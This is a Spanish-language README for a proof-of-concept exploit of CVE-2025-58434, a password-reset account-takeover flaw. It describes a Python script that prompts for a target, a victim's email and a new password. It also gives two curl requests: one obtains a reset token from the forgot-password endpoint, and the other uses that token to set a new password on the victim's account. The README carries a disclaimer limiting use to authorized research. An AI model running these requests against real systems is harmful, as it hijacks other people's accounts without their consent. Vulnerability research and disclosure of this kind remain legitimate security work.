PoC de CVE-2025-58434

Script de prueba de concepto en Python para activar POST /api/v1/account/forgot-password.

⚠️ Solo con fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posees o sin permiso por escrito para probar es ilegal.

Créditos

• zaddy6 (Isaac David)
• arthurgervais (Arthur Gervais)

Detalles

• PoC para CVE-2025-58434
• Referencia: https://github.com/advisories/GHSA-wgpv-6j63-x5ph

Archivos

• poc.py: solicita la URL/IP de la máquina, protocolo opcional cuando se usa solo host/IP, correo electrónico objetivo y contraseña; luego envía la solicitud e imprime el estado HTTP, encabezados y cuerpo de la respuesta similar a curl -i

Uso

Ejecutar:

python3 poc.py

Luego proporcione:

• URL/IP de la máquina, como 10.10.11.10, http://10.10.11.10 o https://target.example
• protocolo si se solicita para host/IP simple
• dirección de correo electrónico
• contraseña

Comando curl equivalente

Primera solicitud

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

Segunda solicitud

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'